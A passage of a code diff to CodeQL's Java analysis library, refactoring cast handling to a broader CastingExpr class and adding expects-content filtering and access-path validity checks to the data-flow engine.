@@ -337,15 +337,15 @@ private predicate safeCast(Type fromtyp, Type totyp) {
   exists(PrimitiveType pfrom, PrimitiveType pto | pfrom = fromtyp and pto = totyp |
     pfrom = pto
     or
-    pfrom.hasName("char") and pto.getName().regexpMatch("int|long|float|double")
+    pfrom.hasName("char") and pto.hasName(["int", "long", "float", "double"])
     or
-    pfrom.hasName("byte") and pto.getName().regexpMatch("short|int|long|float|double")
+    pfrom.hasName("byte") and pto.hasName(["short", "int", "long", "float", "double"])
     or
-    pfrom.hasName("short") and pto.getName().regexpMatch("int|long|float|double")
+    pfrom.hasName("short") and pto.hasName(["int", "long", "float", "double"])
     or
-    pfrom.hasName("int") and pto.getName().regexpMatch("long|float|double")
+    pfrom.hasName("int") and pto.hasName(["long", "float", "double"])
     or
-    pfrom.hasName("long") and pto.getName().regexpMatch("float|double")
+    pfrom.hasName("long") and pto.hasName(["float", "double"])
     or
     pfrom.hasName("float") and pto.hasName("double")
     or
@@ -360,8 +360,13 @@ private predicate safeCast(Type fromtyp, Type totyp) {
 /**
  * A cast that can be ignored for the purpose of range analysis.
  */
-private class SafeCastExpr extends CastExpr {
-  SafeCastExpr() { safeCast(getExpr().getType(), getType()) }
+private class RangeAnalysisSafeCastingExpr extends CastingExpr {
+  RangeAnalysisSafeCastingExpr() {
+    safeCast(getExpr().getType(), getType()) or
+    this instanceof ImplicitCastExpr or
+    this instanceof ImplicitNotNullExpr or
+    this instanceof ImplicitCoercionToUnitExpr
+  }
 }
 
 /**
@@ -380,9 +385,9 @@ private predicate typeBound(Type typ, int lowerbound, int upperbound) {
 /**
  * A cast to a small integral type that may overflow or underflow.
  */
-private class NarrowingCastExpr extends CastExpr {
-  NarrowingCastExpr() {
-    not this instanceof SafeCastExpr and
+private class NarrowingCastingExpr extends CastingExpr {
+  NarrowingCastingExpr() {
+    not this instanceof RangeAnalysisSafeCastingExpr and
     typeBound(getType(), _, _)
   }
 
@@ -412,7 +417,7 @@ private predicate boundFlowStep(Expr e2, Expr e1, int delta, boolean upper) {
   valueFlowStep(e2, e1, delta) and
   (upper = true or upper = false)
   or
-  e2.(SafeCastExpr).getExpr() = e1 and
+  e2.(RangeAnalysisSafeCastingExpr).getExpr() = e1 and
   delta = 0 and
   (upper = true or upper = false)
   or
@@ -796,7 +801,7 @@ private predicate baseBound(Expr e, int b, boolean upper) {
  * For `upper = true` this means that the cast will not overflow and for
  * `upper = false` this means that the cast will not underflow.
  */
-private predicate safeNarrowingCast(NarrowingCastExpr cast, boolean upper) {
+private predicate safeNarrowingCast(NarrowingCastingExpr cast, boolean upper) {
   exists(int bound | bounded(cast.getExpr(), any(ZeroBound zb), bound, upper, _, _, _) |
     upper = true and bound <= cast.getUpperBound()
     or
@@ -806,7 +811,7 @@ private predicate safeNarrowingCast(NarrowingCastExpr cast, boolean upper) {
 
 pragma[noinline]
 private predicate boundedCastExpr(
-  NarrowingCastExpr cast, Bound b, int delta, boolean upper, boolean fromBackEdge, int origdelta,
+  NarrowingCastingExpr cast, Bound b, int delta, boolean upper, boolean fromBackEdge, int origdelta,
   Reason reason
 ) {
   bounded(cast.getExpr(), b, delta, upper, fromBackEdge, origdelta, reason)
@@ -870,7 +875,7 @@ private predicate bounded(
     delta = d / factor
   )
   or
-  exists(NarrowingCastExpr cast |
+  exists(NarrowingCastingExpr cast |
     cast = e and
     safeNarrowingCast(cast, upper.booleanNot()) and
     boundedCastExpr(cast, b, delta, upper, fromBackEdge, origdelta, reason)
diff --git a/java/ql/lib/semmle/code/java/dataflow/SSA.qll b/java/ql/lib/semmle/code/java/dataflow/SSA.qll
index 7dc646c179a..fa8007afbf3 100644
--- a/java/ql/lib/semmle/code/java/dataflow/SSA.qll
+++ b/java/ql/lib/semmle/code/java/dataflow/SSA.qll
@@ -1114,8 +1114,11 @@ class SsaPhiNode extends SsaVariable, TSsaPhiNode {
   }
 }
 
-private class RefTypeCastExpr extends CastExpr {
-  RefTypeCastExpr() { this.getType() instanceof RefType }
+private class RefTypeCastingExpr extends CastingExpr {
+  RefTypeCastingExpr() {
+    this.getType() instanceof RefType and
+    not this instanceof SafeCastExpr
+  }
 }
 
 /**
@@ -1130,5 +1133,5 @@ Expr sameValue(SsaVariable v, VarAccess va) {
   or
   result.(AssignExpr).getSource() = sameValue(v, va)
   or
-  result.(RefTypeCastExpr).getExpr() = sameValue(v, va)
+  result.(RefTypeCastingExpr).getExpr() = sameValue(v, va)
 }
diff --git a/java/ql/lib/semmle/code/java/dataflow/StringPrefixes.qll b/java/ql/lib/semmle/code/java/dataflow/StringPrefixes.qll
index 755deaba532..9c164f62d8b 100644
--- a/java/ql/lib/semmle/code/java/dataflow/StringPrefixes.qll
+++ b/java/ql/lib/semmle/code/java/dataflow/StringPrefixes.qll
@@ -34,7 +34,7 @@ private import semmle.code.java.StringFormat
  * A string constant that contains a prefix whose possibly-appended strings are
  * returned by `getAnAppendedExpression`.
  *
- * Extend this class to specify prefixes whose possibly-appended strings should be analysed.
+ * Extend this class to specify prefixes whose possibly-appended strings should be analyzed.
  */
 abstract class InterestingPrefix extends CompileTimeConstantExpr {
   /**
diff --git a/java/ql/lib/semmle/code/java/dataflow/TypeFlow.qll b/java/ql/lib/semmle/code/java/dataflow/TypeFlow.qll
index e599743e2bd..1b9842b9383 100644
--- a/java/ql/lib/semmle/code/java/dataflow/TypeFlow.qll
+++ b/java/ql/lib/semmle/code/java/dataflow/TypeFlow.qll
@@ -107,7 +107,7 @@ private predicate step(TypeFlowNode n1, TypeFlowNode n2) {
   or
   n2.asExpr() = n1.asSsa().getAUse()
   or
-  n2.asExpr().(CastExpr).getExpr() = n1.asExpr() and
+  n2.asExpr().(CastingExpr).getExpr() = n1.asExpr() and
   not n2.asExpr().getType() instanceof PrimitiveType
   or
   n2.asExpr().(AssignExpr).getSource() = n1.asExpr() and
@@ -214,7 +214,7 @@ private predicate upcastCand(TypeFlowNode n, RefType t, RefType t1, RefType t2)
   (
     exists(Variable v | v.getAnAssignedValue() = n.asExpr() and t2 = v.getType().getErasure())
     or
-    exists(CastExpr c | c.getExpr() = n.asExpr() and t2 = c.getType().getErasure())
+    exists(CastingExpr c | c.getExpr() = n.asExpr() and t2 = c.getType().getErasure())
     or
     exists(ReturnStmt ret |
       ret.getResult() = n.asExpr() and t2 = ret.getEnclosingCallable().getReturnType().getErasure()
@@ -272,7 +272,7 @@ private predicate upcastEnhancedForStmt(BaseSsaUpdate v, RefType t) {
 }
 
 private predicate downcastSuccessorAux(
-  CastExpr cast, BaseSsaVariable v, RefType t, RefType t1, RefType t2
+  CastingExpr cast, BaseSsaVariable v, RefType t, RefType t1, RefType t2
 ) {
   cast.getExpr() = v.getAUse() and
   t = cast.getType() and
@@ -284,7 +284,7 @@ private predicate downcastSuccessorAux(
  * Holds if `va` is an access to a value that has previously been downcast to `t`.
  */
 private predicate downcastSuccessor(VarAccess va, RefType t) {
-  exists(CastExpr cast, BaseSsaVariable v, RefType t1, RefType t2 |
+  exists(CastingExpr cast, BaseSsaVariable v, RefType t1, RefType t2 |
     downcastSuccessorAux(pragma[only_bind_into](cast), v, t, t1, t2) and
     t1.getASourceSupertype+() = t2 and
     va = v.getAUse() and
@@ -410,7 +410,7 @@ private predicate irrelevantBound(TypeFlowNode n, RefType t) {
     typeFlow(n, bound) and
     t = bound.getAStrictAncestor() and
     typeBound(t) and
-    typeFlow(n, t) and
+    typeFlow(n, pragma[only_bind_into](t)) and
     not t.getAnAncestor() = bound
     or
     n.getType() = pragma[only_bind_into](bound) and
diff --git a/java/ql/lib/semmle/code/java/dataflow/internal/AccessPathSyntax.qll b/java/ql/lib/semmle/code/java/dataflow/internal/AccessPathSyntax.qll
index 3d40e04b815..076e12f2671 100644
--- a/java/ql/lib/semmle/code/java/dataflow/internal/AccessPathSyntax.qll
+++ b/java/ql/lib/semmle/code/java/dataflow/internal/AccessPathSyntax.qll
@@ -167,9 +167,16 @@ class AccessPathToken extends string {
   /** Gets the `n`th argument to this token, such as `x` or `y` from `Member[x,y]`. */
   string getArgument(int n) { result = this.getArgumentList().splitAt(",", n).trim() }
 
+  /** Gets the `n`th argument to this `name` token, such as `x` or `y` from `Member[x,y]`. */
+  pragma[nomagic]
+  string getArgument(string name, int n) { name = this.getName() and result = this.getArgument(n) }
+
   /** Gets an argument to this token, such as `x` or `y` from `Member[x,y]`. */
   string getAnArgument() { result = this.getArgument(_) }
 
+  /** Gets an argument to this `name` token, such as `x` or `y` from `Member[x,y]`. */
+  string getAnArgument(string name) { result = this.getArgument(name, _) }
+
   /** Gets the number of arguments to this token, such as 2 for `Member[x,y]` or zero for `ReturnValue`. */
   int getNumArgument() { result = count(int n | exists(this.getArgument(n))) }
 }
diff --git a/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowDispatch.qll b/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowDispatch.qll
index 13cc847038d..5e0e6e2f90b 100644
--- a/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowDispatch.qll
+++ b/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowDispatch.qll
@@ -10,7 +10,7 @@ private module DispatchImpl {
   DataFlowCallable viableCallable(DataFlowCall c) {
     result.asCallable() = VirtualDispatch::viableCallable(c.asCall())
     or
-    result.(SummarizedCallable).asCallable() = c.asCall().getCallee().getSourceDeclaration()
+    result.asCallable().(SummarizedCallable) = c.asCall().getCallee().getSourceDeclaration()
   }
 
   /**
@@ -118,7 +118,7 @@ private module DispatchImpl {
         not failsUnification(t, t2)
       )
       or
-      result.asCallable() = def and result instanceof SummarizedCallable
+      result.asCallable() = def and def instanceof SummarizedCallable
     )
   }
 
diff --git a/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowImpl.qll b/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowImpl.qll
index f49d975ccf9..fb773ea89f8 100644
--- a/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowImpl.qll
+++ b/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowImpl.qll
@@ -170,6 +170,14 @@ abstract class Configuration extends string {
    */
   int explorationLimit() { none() }
 
+  /**
+   * Holds if hidden nodes should be included in the data flow graph.
+   *
+   * This feature should only be used for debugging or when the data flow graph
+   * is not visualized (for example in a `path-problem` query).
+   */
+  predicate includeHiddenNodes() { none() }
+
   /**
    * Holds if there is a partial data flow path from `source` to `node`. The
    * approximate distance between `node` and the closest source is `dist` and
@@ -498,23 +506,35 @@ private predicate readSet(NodeEx node1, ContentSet c, NodeEx node2, Configuratio
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate read(NodeEx node1, Content c, NodeEx node2, Configuration config) {
   exists(ContentSet cs |
     readSet(node1, cs, node2, config) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate clearsContentEx(NodeEx n, Content c) {
   exists(ContentSet cs |
     clearsContentCached(n.asNode(), cs) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
+// inline to reduce fan-out via `getAReadContent`
+bindingset[c]
+private predicate expectsContentEx(NodeEx n, Content c) {
+  exists(ContentSet cs |
+    expectsContentCached(n.asNode(), cs) and
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
+  )
+}
+
+pragma[nomagic]
+private predicate notExpectsContent(NodeEx n) { not expectsContentCached(n.asNode(), _) }
+
 pragma[nomagic]
 private predicate store(
   NodeEx node1, TypedContent tc, NodeEx node2, DataFlowType contentType, Configuration config
@@ -793,7 +813,7 @@ private module Stage1 {
    * by `revFlow`.
    */
   pragma[nomagic]
-  private predicate revFlowIsReadAndStored(Content c, Configuration conf) {
+  predicate revFlowIsReadAndStored(Content c, Configuration conf) {
     revFlowConsCand(c, conf) and
     revFlowStore(c, _, _, conf)
   }
@@ -891,7 +911,7 @@ private module Stage1 {
 
   pragma[nomagic]
   predicate readStepCand(NodeEx n1, Content c, NodeEx n2, Configuration config) {
-    revFlowIsReadAndStored(pragma[only_bind_into](c), pragma[only_bind_into](config)) and
+    revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
     read(n1, c, n2, pragma[only_bind_into](config)) and
     revFlow(n2, pragma[only_bind_into](config))
   }
@@ -1181,11 +1201,26 @@ private module Stage2 {
 
   private predicate flowIntoCall = flowIntoCallNodeCand1/5;
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c)
+    )
+  }
+
   bindingset[node, state, ap, config]
   private predicate filter(NodeEx node, FlowState state, Ap ap, Configuration config) {
     PrevStage::revFlowState(state, pragma[only_bind_into](config)) and
     exists(ap) and
-    not stateBarrier(node, state, config)
+    not stateBarrier(node, state, config) and
+    (
+      notExpectsContent(node)
+      or
+      ap = true and
+      expectsContentCand(node, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -1646,10 +1681,24 @@ private module Stage2 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -1740,7 +1789,8 @@ private module LocalFlowBigStep {
   private class FlowCheckNode extends NodeEx {
     FlowCheckNode() {
       castNode(this.asNode()) or
-      clearsContentCached(this.asNode(), _)
+      clearsContentCached(this.asNode(), _) or
+      expectsContentCached(this.asNode(), _)
     }
   }
 
@@ -1979,6 +2029,16 @@ private module Stage3 {
     clearContent(node, ap.getHead().getContent(), config)
   }
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Ap ap, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::readStepCand(_, c, _, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c) and
+      c = ap.getHead().getContent()
+    )
+  }
+
   pragma[nomagic]
   private predicate castingNodeEx(NodeEx node) { node.asNode() instanceof CastingNode }
 
@@ -1987,7 +2047,12 @@ private module Stage3 {
     exists(state) and
     exists(config) and
     not clear(node, ap, config) and
-    if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()
+    (if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()) and
+    (
+      notExpectsContent(node)
+      or
+      expectsContentCand(node, ap, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -2452,10 +2517,24 @@ private module Stage3 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3279,10 +3358,24 @@ private module Stage4 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3351,17 +3444,28 @@ private Configuration unbindConf(Configuration conf) {
   exists(Configuration c | result = pragma[only_bind_into](c) and conf = pragma[only_bind_into](c))
 }
 
-private predicate nodeMayUseSummary(
-  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+pragma[nomagic]
+private predicate nodeMayUseSummary0(
+  NodeEx n, DataFlowCallable c, FlowState state, AccessPathApprox apa, Configuration config
 ) {
-  exists(DataFlowCallable c, AccessPathApprox apa0 |
-    Stage4::parameterMayFlowThrough(_, c, apa, _) and
+  exists(AccessPathApprox apa0 |
+    Stage4::parameterMayFlowThrough(_, c, _, _) and
     Stage4::revFlow(n, state, true, _, apa0, config) and
     Stage4::fwdFlow(n, state, any(CallContextCall ccc), TAccessPathApproxSome(apa), apa0, config) and
     n.getEnclosingCallable() = c
   )
 }
 
+pragma[nomagic]
+private predicate nodeMayUseSummary(
+  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+) {
+  exists(DataFlowCallable c |
+    Stage4::parameterMayFlowThrough(_, c, apa, config) and
+    nodeMayUseSummary0(n, c, state, apa, config)
+  )
+}
+
 private newtype TSummaryCtx =
   TSummaryCtxNone() or
   TSummaryCtxSome(ParamNodeEx p, FlowState state, AccessPath ap) {
@@ -3557,7 +3661,7 @@ private newtype TPathNode =
  * of dereference operations needed to get from the value in the node to the
  * tracked object. The final type indicates the type of the tracked object.
  */
-abstract private class AccessPath extends TAccessPath {
+private class AccessPath extends TAccessPath {
   /** Gets the head of this access path, if any. */
   abstract TypedContent getHead();
 
@@ -3772,11 +3876,14 @@ abstract private class PathNodeImpl extends PathNode {
   abstract NodeEx getNodeEx();
 
   predicate isHidden() {
-    hiddenNode(this.getNodeEx().asNode()) and
-    not this.isSource() and
-    not this instanceof PathNodeSink
-    or
-    this.getNodeEx() instanceof TNodeImplicitRead
+    not this.getConfiguration().includeHiddenNodes() and
+    (
+      hiddenNode(this.getNodeEx().asNode()) and
+      not this.isSource() and
+      not this instanceof PathNodeSink
+      or
+      this.getNodeEx() instanceof TNodeImplicitRead
+    )
   }
 
   private string ppAp() {
@@ -4257,6 +4364,12 @@ private module Subpaths {
     )
   }
 
+  pragma[nomagic]
+  private predicate hasSuccessor(PathNode pred, PathNodeMid succ, NodeEx succNode) {
+    succ = pred.getASuccessor() and
+    succNode = succ.getNodeEx()
+  }
+
   /**
    * Holds if `(arg, par, ret, out)` forms a subpath-tuple, that is, flow through
    * a subpath between `par` and `ret` with the connecting edges `arg -> par` and
@@ -4264,15 +4377,13 @@ private module Subpaths {
    */
   predicate subpaths(PathNode arg, PathNodeImpl par, PathNodeImpl ret, PathNode out) {
     exists(ParamNodeEx p, NodeEx o, FlowState sout, AccessPath apout, PathNodeMid out0 |
-      pragma[only_bind_into](arg).getASuccessor() = par and
-      pragma[only_bind_into](arg).getASuccessor() = out0 and
-      subpaths03(arg, p, localStepToHidden*(ret), o, sout, apout) and
+      pragma[only_bind_into](arg).getASuccessor() = pragma[only_bind_into](out0) and
+      subpaths03(pragma[only_bind_into](arg), p, localStepToHidden*(ret), o, sout, apout) and
+      hasSuccessor(pragma[only_bind_into](arg), par, p) and
       not ret.isHidden() and
-      par.getNodeEx() = p and
-      out0.getNodeEx() = o and
-      out0.getState() = sout and
-      out0.getAp() = apout and
-      (out = out0 or out = out0.projectToSink())
+      pathNode(out0, o, sout, _, _, apout, _, _)
+    |
+      out = out0 or out = out0.projectToSink()
     )
   }
 
@@ -4609,6 +4720,10 @@ private module FlowExploration {
       exists(PartialPathNodeRev mid |
         revPartialPathStep(mid, node, state, sc1, sc2, sc3, ap, config) and
         not clearsContentEx(node, ap.getHead()) and
+        (
+          notExpectsContent(node) or
+          expectsContentEx(node, ap.getHead())
+        ) and
         not fullBarrier(node, config) and
         not stateBarrier(node, state, config) and
         distSink(node.getEnclosingCallable(), config) <= config.explorationLimit()
@@ -4625,6 +4740,10 @@ private module FlowExploration {
       not fullBarrier(node, config) and
       not stateBarrier(node, state, config) and
       not clearsContentEx(node, ap.getHead().getContent()) and
+      (
+        notExpectsContent(node) or
+        expectsContentEx(node, ap.getHead().getContent())
+      ) and
       if node.asNode() instanceof CastingNode
       then compatibleTypes(node.getDataFlowType(), ap.getType())
       else any()
diff --git a/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowImpl2.qll b/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowImpl2.qll
index f49d975ccf9..fb773ea89f8 100644
--- a/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowImpl2.qll
+++ b/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowImpl2.qll
@@ -170,6 +170,14 @@ abstract class Configuration extends string {
    */
   int explorationLimit() { none() }
 
+  /**
+   * Holds if hidden nodes should be included in the data flow graph.
+   *
+   * This feature should only be used for debugging or when the data flow graph
+   * is not visualized (for example in a `path-problem` query).
+   */
+  predicate includeHiddenNodes() { none() }
+
   /**
    * Holds if there is a partial data flow path from `source` to `node`. The
    * approximate distance between `node` and the closest source is `dist` and
@@ -498,23 +506,35 @@ private predicate readSet(NodeEx node1, ContentSet c, NodeEx node2, Configuratio
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate read(NodeEx node1, Content c, NodeEx node2, Configuration config) {
   exists(ContentSet cs |
     readSet(node1, cs, node2, config) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate clearsContentEx(NodeEx n, Content c) {
   exists(ContentSet cs |
     clearsContentCached(n.asNode(), cs) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
+// inline to reduce fan-out via `getAReadContent`
+bindingset[c]
+private predicate expectsContentEx(NodeEx n, Content c) {
+  exists(ContentSet cs |
+    expectsContentCached(n.asNode(), cs) and
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
+  )
+}
+
+pragma[nomagic]
+private predicate notExpectsContent(NodeEx n) { not expectsContentCached(n.asNode(), _) }
+
 pragma[nomagic]
 private predicate store(
   NodeEx node1, TypedContent tc, NodeEx node2, DataFlowType contentType, Configuration config
@@ -793,7 +813,7 @@ private module Stage1 {
    * by `revFlow`.
    */
   pragma[nomagic]
-  private predicate revFlowIsReadAndStored(Content c, Configuration conf) {
+  predicate revFlowIsReadAndStored(Content c, Configuration conf) {
     revFlowConsCand(c, conf) and
     revFlowStore(c, _, _, conf)
   }
@@ -891,7 +911,7 @@ private module Stage1 {
 
   pragma[nomagic]
   predicate readStepCand(NodeEx n1, Content c, NodeEx n2, Configuration config) {
-    revFlowIsReadAndStored(pragma[only_bind_into](c), pragma[only_bind_into](config)) and
+    revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
     read(n1, c, n2, pragma[only_bind_into](config)) and
     revFlow(n2, pragma[only_bind_into](config))
   }
@@ -1181,11 +1201,26 @@ private module Stage2 {
 
   private predicate flowIntoCall = flowIntoCallNodeCand1/5;
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c)
+    )
+  }
+
   bindingset[node, state, ap, config]
   private predicate filter(NodeEx node, FlowState state, Ap ap, Configuration config) {
     PrevStage::revFlowState(state, pragma[only_bind_into](config)) and
     exists(ap) and
-    not stateBarrier(node, state, config)
+    not stateBarrier(node, state, config) and
+    (
+      notExpectsContent(node)
+      or
+      ap = true and
+      expectsContentCand(node, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -1646,10 +1681,24 @@ private module Stage2 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -1740,7 +1789,8 @@ private module LocalFlowBigStep {
   private class FlowCheckNode extends NodeEx {
     FlowCheckNode() {
       castNode(this.asNode()) or
-      clearsContentCached(this.asNode(), _)
+      clearsContentCached(this.asNode(), _) or
+      expectsContentCached(this.asNode(), _)
     }
   }
 
@@ -1979,6 +2029,16 @@ private module Stage3 {
     clearContent(node, ap.getHead().getContent(), config)
   }
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Ap ap, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::readStepCand(_, c, _, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c) and
+      c = ap.getHead().getContent()
+    )
+  }
+
   pragma[nomagic]
   private predicate castingNodeEx(NodeEx node) { node.asNode() instanceof CastingNode }
 
@@ -1987,7 +2047,12 @@ private module Stage3 {
     exists(state) and
     exists(config) and
     not clear(node, ap, config) and
-    if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()
+    (if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()) and
+    (
+      notExpectsContent(node)
+      or
+      expectsContentCand(node, ap, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -2452,10 +2517,24 @@ private module Stage3 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3279,10 +3358,24 @@ private module Stage4 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3351,17 +3444,28 @@ private Configuration unbindConf(Configuration conf) {
   exists(Configuration c | result = pragma[only_bind_into](c) and conf = pragma[only_bind_into](c))
 }
 
-private predicate nodeMayUseSummary(
-  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+pragma[nomagic]
+private predicate nodeMayUseSummary0(
+  NodeEx n, DataFlowCallable c, FlowState state, AccessPathApprox apa, Configuration config
 ) {
-  exists(DataFlowCallable c, AccessPathApprox apa0 |
-    Stage4::parameterMayFlowThrough(_, c, apa, _) and
+  exists(AccessPathApprox apa0 |
+    Stage4::parameterMayFlowThrough(_, c, _, _) and
     Stage4::revFlow(n, state, true, _, apa0, config) and
     Stage4::fwdFlow(n, state, any(CallContextCall ccc), TAccessPathApproxSome(apa), apa0, config) and
     n.getEnclosingCallable() = c
   )
 }
 
+pragma[nomagic]
+private predicate nodeMayUseSummary(
+  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+) {
+  exists(DataFlowCallable c |
+    Stage4::parameterMayFlowThrough(_, c, apa, config) and
+    nodeMayUseSummary0(n, c, state, apa, config)
+  )
+}
+
 private newtype TSummaryCtx =
   TSummaryCtxNone() or
   TSummaryCtxSome(ParamNodeEx p, FlowState state, AccessPath ap) {
@@ -3557,7 +3661,7 @@ private newtype TPathNode =
  * of dereference operations needed to get from the value in the node to the
  * tracked object. The final type indicates the type of the tracked object.
  */
-abstract private class AccessPath extends TAccessPath {
+private class AccessPath extends TAccessPath {
   /** Gets the head of this access path, if any. */
